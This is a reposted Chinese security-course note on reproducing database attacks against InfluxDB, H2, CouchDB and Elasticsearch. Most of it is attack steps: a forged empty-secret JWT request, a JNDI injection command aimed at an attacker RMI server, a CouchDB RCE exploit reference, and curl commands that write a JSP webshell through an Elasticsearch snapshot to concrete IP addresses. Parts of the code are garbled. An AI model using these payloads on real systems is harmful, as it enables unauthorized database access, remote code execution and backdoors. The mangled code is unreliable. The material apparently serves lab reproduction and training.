第56天 服務(wù)攻防-數(shù)據(jù)庫安全&H2&Elasticsearch&CouchDB&Influxdb復(fù)現(xiàn)
知識點:
1、服務(wù)攻防數(shù)據(jù)庫類型安全
2、influxdb,.未授權(quán)訪問wt驗證
3、H2 database-未授權(quán)訪問-配置不當(dāng)
4、CouchDB-權(quán)限繞過配合RCE-漏洞
5、ElasticSearch-文件寫入&RCE-漏洞
#章節(jié)內(nèi)容:
常見服務(wù)應(yīng)用的安全測試:
1、配置不當(dāng)-未授權(quán)訪問
2、安全機(jī)制特定安全漏洞
3、安全機(jī)制弱口令爆破攻擊
#前置知識:
應(yīng)用服務(wù)安全測試流程:見圖
1、判斷服務(wù)開放情況端口掃描&組合應(yīng)用等
2、判折服務(wù)類型歸屬數(shù)據(jù)庫&文件傳輸&通訊等
3、判折服務(wù)利用方式特定漏洞&未授權(quán)&弱口令等
演示案例:
Influxdb-未授權(quán)訪問-Jwt驗證不當(dāng)
H2database-未授權(quán)訪問-配置不當(dāng)
CouchDB-權(quán)限繞過配合RCE-漏洞
ElasticSearch-文件寫入&RCE-漏洞
#nfluxdb-未授權(quán)訪問-Jwt驗證不當(dāng)
默認(rèn)端?:8086,8088
influxdb是一款菩名的時序數(shù)據(jù)庫,其使用jwt作為鑒權(quán)方式。在用戶開啟了認(rèn)證,但未設(shè)
置參數(shù)shared-secret的情況下,jwt的認(rèn)證密鑰為空字符串,此時攻擊者可以偽造任意用戶
身份在influxdb中執(zhí)行SQL語句,
1、使用 https://jwt.io/ 生成一個帶有空密鑰的有效 JWT 令牌:
{
alg":"HS256",
"typ":"JWT"
}
{
"usemame":"admin",
"exp":1676346267
}
其中是管理員帳戶名稱,是令牌過期時間。您應(yīng)該設(shè)置為將來的時間以使其生效:usernameexpexp
然后把這個令牌帶到請求中,并成功在服務(wù)器中執(zhí)行SQL語句:show users
POST /query HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoyOTg2MzQ2MjY3fQ.LJDvEy5zvSEpA_C6pnK3JJFkUKGq9eEi8T2wdum3R_s
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
db=sample&q=show+users
#H2 database-未授權(quán)訪問-配置不當(dāng)
默認(rèn)端口:20051
H2 database是一款Java內(nèi)存數(shù)據(jù)庫,多用于單元測試。H2 database自帶一個Web管理頁
面,在Spring開發(fā)中,如果我們設(shè)置如下選項,即可允許外部用戶訪問Wb管理頁面,且
沒有鑒權(quán):默認(rèn)端口:
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
利用這個管理頁面,我們可以進(jìn)行JND注入攻擊,進(jìn)而在目標(biāo)環(huán)境下執(zhí)行任意命令。
管理頁面默認(rèn)為。http://your-ip:8080http://your-ip:8080/h2-console/
1、下載JNDI-Injection-Exploit
https://github.com/welk1n/JNDI-Injection-Exploit
2、生成執(zhí)行RMI Payload-URL
-C執(zhí)行命令-A服務(wù)器地址
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar-C touch /tmp/success -A 47.94.236.117
在攻擊機(jī)運行poc,執(zhí)行后攻擊機(jī)會監(jiān)聽8180、1099、1389端口
javax.naming.InitialContext是 JNDI 工廠類名,URL 是惡意的 RMI 地址。rmi://evil:23456/BypassByEL
攻擊機(jī)的 RMI 服務(wù)器收到以下請求:
touch /tmp/success已成功執(zhí)行:
#CouchDB-權(quán)限繞過RCE-CVE-2017-12636
1、下載exp.py
2、修改目標(biāo)和反彈地址
3、Python3調(diào)用執(zhí)行即可
https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py
#ElasticSearch-文件寫入&RCE漏洞
默認(rèn)端口:92009300
Elasticsearch RCE CVE-2014-3120
1、漏洞需要s中至少存在一條數(shù)據(jù),所以我們需要先創(chuàng)建一條數(shù)據(jù)
POST /website/blog/HTTP/1.1
Host:your-ip:9200
Accept:*/
Accept-Language:en
User-Agent:Mozilla/5.0 (compatible;MSIE 9.0:Windows NT 6.1;Win64:x64:Trident/5.0)
Connection:close
Content-Type:application/x-www-form-urlencoded
Content-Length:25
{
"name":"xiaodi"
}
2、直接發(fā)包觸發(fā)執(zhí)行命令
Elasticsearch文件寫入wooyun2015110216
9200一股為ElasticSearch的常用端口,此漏洞環(huán)境需要與中間件使用
1、發(fā)現(xiàn)9200端口存在elasti-search頁面,8080存在tomcat目錄
2、利用ElasticSearch寫入后門到/usr/local/tomcat/webapps/wwwroot/文章來源:http://www.zghlxwxcb.cn/news/detail-817273.html
curl -XPOST http://123.58.236.76:31556/yz.jsp/yz jsp/1-d'
["<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte【】
{47,116,101,115,116,46,106,115,112)》,new String(new byte【】
(114,119))).write(request.getParameter(new String(new byte[(102))).getBytes();
%>"-"test"
curl -XPUT 'http://123.58.236.76:31556/snapshot/yz.jsp'-d'
"type"."fs",
"settings":{
"location":"/usr/local/tomcat/webapps/wwwroot/",
"compress":false
}
}
3.、訪問8080端口snapshot–yz jspi文件寫入代碼到test jsp中
http://123.58.236.76:31557/wwwroot/indices/yz.jsp/snapshot-yz jsp?f=success
http://123.58.236.76:31557/wwwroot/test.jsp文章來源地址http://www.zghlxwxcb.cn/news/detail-817273.html
到了這里,關(guān)于網(wǎng)絡(luò)安全全棧培訓(xùn)筆記(56-服務(wù)攻防-數(shù)據(jù)庫安全&H2&Elasticsearch&CouchDB&Influxdb復(fù)現(xiàn))的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!